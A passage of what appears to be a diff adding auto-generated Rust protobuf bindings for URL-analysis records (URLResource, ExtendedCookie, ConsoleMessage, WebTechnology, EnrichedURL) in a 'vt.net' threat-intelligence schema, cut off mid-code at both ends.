&self.sha256)?; + } + if self.response_code != 0 { + os.write_int32(4, self.response_code)?; + } + if !self.remote_ip.is_empty() { + os.write_string(5, &self.remote_ip)?; + } + if self.size != 0 { + os.write_int32(6, self.size)?; + } + if !self.reverse_dns.is_empty() { + os.write_string(7, &self.reverse_dns)?; + } + if self.type_ != ::protobuf::EnumOrUnknown::new(super::filetypes::FileType::UNKNOWN) { + os.write_enum(8, ::protobuf::EnumOrUnknown::value(&self.type_))?; + } + if self.browser_type != ::protobuf::EnumOrUnknown::new(super::urlheadless::BrowserResourceType::BROWSER_RESOURCE_TYPE_OTHER) { + os.write_enum(9, ::protobuf::EnumOrUnknown::value(&self.browser_type))?; + } + for (k, v) in &self.response_headers { + let mut entry_size = 0; + entry_size += ::protobuf::rt::string_size(1, &k); + entry_size += ::protobuf::rt::string_size(2, &v); + os.write_raw_varint32(82)?; // Tag. + os.write_raw_varint32(entry_size as u32)?; + os.write_string(1, &k)?; + os.write_string(2, &v)?; + }; + if self.net_error != ::protobuf::EnumOrUnknown::new(super::urlheadless::NetError::NET_ERROR_UNSPECIFIED) { + os.write_enum(11, ::protobuf::EnumOrUnknown::value(&self.net_error))?; + } + for v in &self.redirects { + os.write_string(12, &v)?; + }; + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> URLResource { + URLResource::new() + } + + fn clear(&mut self) { + self.url.clear(); + self.method = ::protobuf::EnumOrUnknown::new(super::sandbox::http_conversation::RequestMethod::UNKNOWN); + self.sha256.clear(); + self.response_code = 0; + self.remote_ip.clear(); + self.size = 0; + self.reverse_dns.clear(); + self.type_ = ::protobuf::EnumOrUnknown::new(super::filetypes::FileType::UNKNOWN); + self.browser_type = ::protobuf::EnumOrUnknown::new(super::urlheadless::BrowserResourceType::BROWSER_RESOURCE_TYPE_OTHER); + self.response_headers.clear(); + self.net_error = ::protobuf::EnumOrUnknown::new(super::urlheadless::NetError::NET_ERROR_UNSPECIFIED); + self.redirects.clear(); + self.special_fields.clear(); + } + + fn default_instance() -> &'static URLResource { + static instance: ::protobuf::rt::Lazy = ::protobuf::rt::Lazy::new(); + instance.get(URLResource::new) + } +} + +impl ::protobuf::MessageFull for URLResource { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("URLResource").unwrap()).clone() + } +} + +impl ::std::fmt::Display for URLResource { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for URLResource { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +// @@protoc_insertion_point(message:vt.net.ExtendedCookie) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct ExtendedCookie { + // message fields + // @@protoc_insertion_point(field:vt.net.ExtendedCookie.name) + pub name: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.ExtendedCookie.value) + pub value: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.ExtendedCookie.domain) + pub domain: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.ExtendedCookie.expires) + pub expires: i64, + // @@protoc_insertion_point(field:vt.net.ExtendedCookie.secure) + pub secure: bool, + // @@protoc_insertion_point(field:vt.net.ExtendedCookie.http_only) + pub http_only: bool, + // @@protoc_insertion_point(field:vt.net.ExtendedCookie.session) + pub session: bool, + // @@protoc_insertion_point(field:vt.net.ExtendedCookie.size) + pub size: i32, + // @@protoc_insertion_point(field:vt.net.ExtendedCookie.priority) + pub priority: ::protobuf::EnumOrUnknown, + // special fields + // @@protoc_insertion_point(special_field:vt.net.ExtendedCookie.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a ExtendedCookie { + fn default() -> &'a ExtendedCookie { + ::default_instance() + } +} + +impl ExtendedCookie { + pub fn new() -> ExtendedCookie { + ::std::default::Default::default() + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(9); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "name", + |m: &ExtendedCookie| { &m.name }, + |m: &mut ExtendedCookie| { &mut m.name }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "value", + |m: &ExtendedCookie| { &m.value }, + |m: &mut ExtendedCookie| { &mut m.value }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "domain", + |m: &ExtendedCookie| { &m.domain }, + |m: &mut ExtendedCookie| { &mut m.domain }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "expires", + |m: &ExtendedCookie| { &m.expires }, + |m: &mut ExtendedCookie| { &mut m.expires }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "secure", + |m: &ExtendedCookie| { &m.secure }, + |m: &mut ExtendedCookie| { &mut m.secure }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "http_only", + |m: &ExtendedCookie| { &m.http_only }, + |m: &mut ExtendedCookie| { &mut m.http_only }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "session", + |m: &ExtendedCookie| { &m.session }, + |m: &mut ExtendedCookie| { &mut m.session }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "size", + |m: &ExtendedCookie| { &m.size }, + |m: &mut ExtendedCookie| { &mut m.size }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "priority", + |m: &ExtendedCookie| { &m.priority }, + |m: &mut ExtendedCookie| { &mut m.priority }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "ExtendedCookie", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for ExtendedCookie { + const NAME: &'static str = "ExtendedCookie"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => { + self.name = is.read_string()?; + }, + 18 => { + self.value = is.read_string()?; + }, + 26 => { + self.domain = is.read_string()?; + }, + 32 => { + self.expires = is.read_int64()?; + }, + 40 => { + self.secure = is.read_bool()?; + }, + 48 => { + self.http_only = is.read_bool()?; + }, + 56 => { + self.session = is.read_bool()?; + }, + 64 => { + self.size = is.read_int32()?; + }, + 72 => { + self.priority = is.read_enum_or_unknown()?; + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if !self.name.is_empty() { + my_size += ::protobuf::rt::string_size(1, &self.name); + } + if !self.value.is_empty() { + my_size += ::protobuf::rt::string_size(2, &self.value); + } + if !self.domain.is_empty() { + my_size += ::protobuf::rt::string_size(3, &self.domain); + } + if self.expires != 0 { + my_size += ::protobuf::rt::int64_size(4, self.expires); + } + if self.secure != false { + my_size += 1 + 1; + } + if self.http_only != false { + my_size += 1 + 1; + } + if self.session != false { + my_size += 1 + 1; + } + if self.size != 0 { + my_size += ::protobuf::rt::int32_size(8, self.size); + } + if self.priority != ::protobuf::EnumOrUnknown::new(super::urlheadless::cookie::CookiePriority::COOKIE_PRIORITY_UNDEFINED) { + my_size += ::protobuf::rt::int32_size(9, self.priority.value()); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if !self.name.is_empty() { + os.write_string(1, &self.name)?; + } + if !self.value.is_empty() { + os.write_string(2, &self.value)?; + } + if !self.domain.is_empty() { + os.write_string(3, &self.domain)?; + } + if self.expires != 0 { + os.write_int64(4, self.expires)?; + } + if self.secure != false { + os.write_bool(5, self.secure)?; + } + if self.http_only != false { + os.write_bool(6, self.http_only)?; + } + if self.session != false { + os.write_bool(7, self.session)?; + } + if self.size != 0 { + os.write_int32(8, self.size)?; + } + if self.priority != ::protobuf::EnumOrUnknown::new(super::urlheadless::cookie::CookiePriority::COOKIE_PRIORITY_UNDEFINED) { + os.write_enum(9, ::protobuf::EnumOrUnknown::value(&self.priority))?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> ExtendedCookie { + ExtendedCookie::new() + } + + fn clear(&mut self) { + self.name.clear(); + self.value.clear(); + self.domain.clear(); + self.expires = 0; + self.secure = false; + self.http_only = false; + self.session = false; + self.size = 0; + self.priority = ::protobuf::EnumOrUnknown::new(super::urlheadless::cookie::CookiePriority::COOKIE_PRIORITY_UNDEFINED); + self.special_fields.clear(); + } + + fn default_instance() -> &'static ExtendedCookie { + static instance: ExtendedCookie = ExtendedCookie { + name: ::std::string::String::new(), + value: ::std::string::String::new(), + domain: ::std::string::String::new(), + expires: 0, + secure: false, + http_only: false, + session: false, + size: 0, + priority: ::protobuf::EnumOrUnknown::from_i32(0), + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for ExtendedCookie { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("ExtendedCookie").unwrap()).clone() + } +} + +impl ::std::fmt::Display for ExtendedCookie { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for ExtendedCookie { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +// @@protoc_insertion_point(message:vt.net.ConsoleMessage) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct ConsoleMessage { + // message fields + // @@protoc_insertion_point(field:vt.net.ConsoleMessage.content) + pub content: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.ConsoleMessage.source_file) + pub source_file: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.ConsoleMessage.level) + pub level: ::protobuf::EnumOrUnknown, + // special fields + // @@protoc_insertion_point(special_field:vt.net.ConsoleMessage.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a ConsoleMessage { + fn default() -> &'a ConsoleMessage { + ::default_instance() + } +} + +impl ConsoleMessage { + pub fn new() -> ConsoleMessage { + ::std::default::Default::default() + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(3); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "content", + |m: &ConsoleMessage| { &m.content }, + |m: &mut ConsoleMessage| { &mut m.content }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "source_file", + |m: &ConsoleMessage| { &m.source_file }, + |m: &mut ConsoleMessage| { &mut m.source_file }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "level", + |m: &ConsoleMessage| { &m.level }, + |m: &mut ConsoleMessage| { &mut m.level }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "ConsoleMessage", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for ConsoleMessage { + const NAME: &'static str = "ConsoleMessage"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => { + self.content = is.read_string()?; + }, + 18 => { + self.source_file = is.read_string()?; + }, + 24 => { + self.level = is.read_enum_or_unknown()?; + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if !self.content.is_empty() { + my_size += ::protobuf::rt::string_size(1, &self.content); + } + if !self.source_file.is_empty() { + my_size += ::protobuf::rt::string_size(2, &self.source_file); + } + if self.level != ::protobuf::EnumOrUnknown::new(super::urlheadless::console_message::LogLevel::LOG_LEVEL_UNDEFINED) { + my_size += ::protobuf::rt::int32_size(3, self.level.value()); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if !self.content.is_empty() { + os.write_string(1, &self.content)?; + } + if !self.source_file.is_empty() { + os.write_string(2, &self.source_file)?; + } + if self.level != ::protobuf::EnumOrUnknown::new(super::urlheadless::console_message::LogLevel::LOG_LEVEL_UNDEFINED) { + os.write_enum(3, ::protobuf::EnumOrUnknown::value(&self.level))?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> ConsoleMessage { + ConsoleMessage::new() + } + + fn clear(&mut self) { + self.content.clear(); + self.source_file.clear(); + self.level = ::protobuf::EnumOrUnknown::new(super::urlheadless::console_message::LogLevel::LOG_LEVEL_UNDEFINED); + self.special_fields.clear(); + } + + fn default_instance() -> &'static ConsoleMessage { + static instance: ConsoleMessage = ConsoleMessage { + content: ::std::string::String::new(), + source_file: ::std::string::String::new(), + level: ::protobuf::EnumOrUnknown::from_i32(0), + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for ConsoleMessage { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("ConsoleMessage").unwrap()).clone() + } +} + +impl ::std::fmt::Display for ConsoleMessage { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for ConsoleMessage { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +// @@protoc_insertion_point(message:vt.net.WebTechnology) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct WebTechnology { + // message fields + // @@protoc_insertion_point(field:vt.net.WebTechnology.name) + pub name: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.WebTechnology.version) + pub version: ::std::string::String, + // special fields + // @@protoc_insertion_point(special_field:vt.net.WebTechnology.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a WebTechnology { + fn default() -> &'a WebTechnology { + ::default_instance() + } +} + +impl WebTechnology { + pub fn new() -> WebTechnology { + ::std::default::Default::default() + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(2); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "name", + |m: &WebTechnology| { &m.name }, + |m: &mut WebTechnology| { &mut m.name }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "version", + |m: &WebTechnology| { &m.version }, + |m: &mut WebTechnology| { &mut m.version }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "WebTechnology", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for WebTechnology { + const NAME: &'static str = "WebTechnology"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => { + self.name = is.read_string()?; + }, + 18 => { + self.version = is.read_string()?; + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if !self.name.is_empty() { + my_size += ::protobuf::rt::string_size(1, &self.name); + } + if !self.version.is_empty() { + my_size += ::protobuf::rt::string_size(2, &self.version); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if !self.name.is_empty() { + os.write_string(1, &self.name)?; + } + if !self.version.is_empty() { + os.write_string(2, &self.version)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> WebTechnology { + WebTechnology::new() + } + + fn clear(&mut self) { + self.name.clear(); + self.version.clear(); + self.special_fields.clear(); + } + + fn default_instance() -> &'static WebTechnology { + static instance: WebTechnology = WebTechnology { + name: ::std::string::String::new(), + version: ::std::string::String::new(), + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for WebTechnology { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("WebTechnology").unwrap()).clone() + } +} + +impl ::std::fmt::Display for WebTechnology { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for WebTechnology { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +// @@protoc_insertion_point(message:vt.net.EnrichedURL) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct EnrichedURL { + // message fields + // @@protoc_insertion_point(field:vt.net.EnrichedURL.port) + pub port: i64, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.trackers) + pub trackers: ::std::vec::Vec, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.response_headers) + pub response_headers: ::std::collections::HashMap<::std::string::String, ::std::string::String>, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.number_of_response_headers) + pub number_of_response_headers: i64, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.response_code) + pub response_code: i64, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.cookies) + pub cookies: ::std::collections::HashMap<::std::string::String, ::std::string::String>, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.favicon) + pub favicon: ::protobuf::MessageField, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.outgoing_links) + pub outgoing_links: ::std::vec::Vec<::std::string::String>, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.redirects) + pub redirects: ::std::vec::Vec<::std::string::String>, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.html_title) + pub html_title: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.html_meta_tags) + pub html_meta_tags: ::std::vec::Vec, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.new_url) + pub new_url: bool, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.analysis_stats) + pub analysis_stats: ::protobuf::MessageField, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.first_submission_date) + pub first_submission_date: i64, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.signatures) + pub signatures: ::std::collections::HashMap<::std::string::String, ::std::string::String>, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.submitter) + pub submitter: ::protobuf::MessageField, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.tags) + pub tags: ::std::vec::Vec<::std::string::String>, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.query) + pub query: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.params) + pub params: ::std::collections::HashMap<::std::string::String, ::std::string::String>, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.path) + pub path: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.hostname) + pub hostname: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.raw) + pub raw: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.downloaded_file) + pub downloaded_file: ::protobuf::MessageField, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.communicating_file) + pub communicating_file: ::protobuf::MessageField, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.embedded_resources) + pub embedded_resources: ::std::vec::Vec, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.categories) + pub categories: ::std::collections::HashMap<::std::string::String, ::std::string::String>, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.gti_assessment) + pub gti_assessment: ::protobuf::MessageField, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.resources) + pub resources: ::std::vec::Vec, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.cookies_extended) + pub cookies_extended: ::std::vec::Vec, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.javascript_variables) + pub javascript_variables: ::std::collections::HashMap<::std::string::String, ::std::string::String>, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.console_messages) + pub console_messages: ::std::vec::Vec, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.web_technologies) + pub web_technologies: ::std::vec::Vec, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.filename) + pub filename: ::std::string::String, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.tls) + pub tls: ::std::vec::Vec, + // @@protoc_insertion_point(field:vt.net.EnrichedURL.dom_sha256) + pub dom_sha256: ::std::string::String, + // special fields + // @@protoc_insertion_point(special_field:vt.net.EnrichedURL.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a EnrichedURL { + fn default() -> &'a EnrichedURL { + ::default_instance() + } +} + +impl EnrichedURL { + pub fn new() -> EnrichedURL { + ::std::default::Default::default() + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(35); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "port", + |m: &EnrichedURL| { &m.port }, + |m: &mut EnrichedURL| { &mut m.port }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "trackers", + |m: &EnrichedURL| { &m.trackers }, + |m: &mut EnrichedURL| { &mut m.trackers }, + )); + fields.push(::protobuf::reflect::rt::v2::make_map_simpler_accessor_new::<_, _>( + "response_headers", + |m: &EnrichedURL| { &m.response_headers }, + |m: &mut EnrichedURL| { &mut m.response_headers }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "number_of_response_headers", + |m: &EnrichedURL| { &m.number_of_response_headers }, + |m: &mut EnrichedURL| { &mut m.number_of_response_headers }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "response_code", + |m: &EnrichedURL| { &m.response_code }, + |m: &mut EnrichedURL| { &mut m.response_code }, + )); + fields.push(::protobuf::reflect::rt::v2::make_map_simpler_accessor_new::<_, _>( + "cookies", + |m: &EnrichedURL| { &m.cookies }, + |m: &mut EnrichedURL| { &mut m.cookies }, + )); + fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, Favicon>( + "favicon", + |m: &EnrichedURL| { &m.favicon }, + |m: &mut EnrichedURL| { &mut m.favicon }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "outgoing_links", + |m: &EnrichedURL| { &m.outgoing_links }, + |m: &mut EnrichedURL| { &mut m.outgoing_links }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "redirects", + |m: &EnrichedURL| { &m.redirects }, + |m: &mut EnrichedURL| { &mut m.redirects }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "html_title", + |m: &EnrichedURL| { &m.html_title }, + |m: &mut EnrichedURL| { &mut m.html_title }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "html_meta_tags", + |m: &EnrichedURL| { &m.html_meta_tags }, + |m: &mut EnrichedURL| { &mut m.html_meta_tags }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "new_url", + |m: &EnrichedURL| { &m.new_url }, + |m: &mut EnrichedURL| { &mut m.new_url }, + )); + fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::analysis::AnalysisStats>( + "analysis_stats", + |m: &EnrichedURL| { &m.analysis_stats }, + |m: &mut EnrichedURL| { &mut m.analysis_stats }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "first_submission_date", + |m: &EnrichedURL| { &m.first_submission_date }, + |m: &mut EnrichedURL| { &mut m.first_submission_date }, + )); + fields.push(::protobuf::reflect::rt::v2::make_map_simpler_accessor_new::<_, _>( + "signatures", + |m: &EnrichedURL| { &m.signatures }, + |m: &mut EnrichedURL| { &mut m.signatures }, + )); + fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::submitter::Submitter>( + "submitter", + |m: &EnrichedURL| { &m.submitter }, + |m: &mut EnrichedURL| { &mut m.submitter }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "tags", + |m: &EnrichedURL| { &m.tags }, + |m: &mut EnrichedURL| { &mut m.tags }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "query", + |m: &EnrichedURL| { &m.query }, + |m: &mut EnrichedURL| { &mut m.query }, + )); + fields.push(::protobuf::reflect::rt::v2::make_map_simpler_accessor_new::<_, _>( + "params", + |m: &EnrichedURL| { &m.params }, + |m: &mut EnrichedURL| { &mut m.params }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "path", + |m: &EnrichedURL| { &m.path }, + |m: &mut EnrichedURL| { &mut m.path }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "hostname", + |m: &EnrichedURL| { &m.hostname }, + |m: &mut EnrichedURL| { &mut m.hostname }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "raw", + |m: &EnrichedURL| { &m.raw }, + |m: &mut EnrichedURL| { &mut m.raw }, + )); + fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, FileMetadata>( + "downloaded_file", + |m: &EnrichedURL| { &m.downloaded_file }, + |m: &mut EnrichedURL| { &mut m.downloaded_file }, + )); + fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, FileMetadata>( + "communicating_file", + |m: &EnrichedURL| { &m.communicating_file }, + |m: &mut EnrichedURL| { &mut m.communicating_file }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "embedded_resources", + |m: &EnrichedURL| { &m.embedded_resources }, + |m: &mut EnrichedURL| { &mut m.embedded_resources }, + )); + fields.push(::protobuf::reflect::rt::v2::make_map_simpler_accessor_new::<_, _>( + "categories", + |m: &EnrichedURL| { &m.categories }, + |m: &mut EnrichedURL| { &mut m.categories }, + )); + fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::hunting_gti_score::HuntingGtiScore>( + "gti_assessment", + |m: &EnrichedURL| { &m.gti_assessment }, + |m: &mut EnrichedURL| { &mut m.gti_assessment }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "resources", + |m: &EnrichedURL| { &m.resources }, + |m: &mut EnrichedURL| { &mut m.resources }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "cookies_extended", + |m: &EnrichedURL| { &m.cookies_extended }, + |m: &mut EnrichedURL| { &mut m.cookies_extended }, + )); + fields.push(::protobuf::reflect::rt::v2::make_map_simpler_accessor_new::<_, _>( + "javascript_variables", + |m: &EnrichedURL| { &m.javascript_variables }, + |m: &mut EnrichedURL| { &mut m.javascript_variables }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "console_messages", + |m: &EnrichedURL| { &m.console_messages }, + |m: &mut EnrichedURL| { &mut 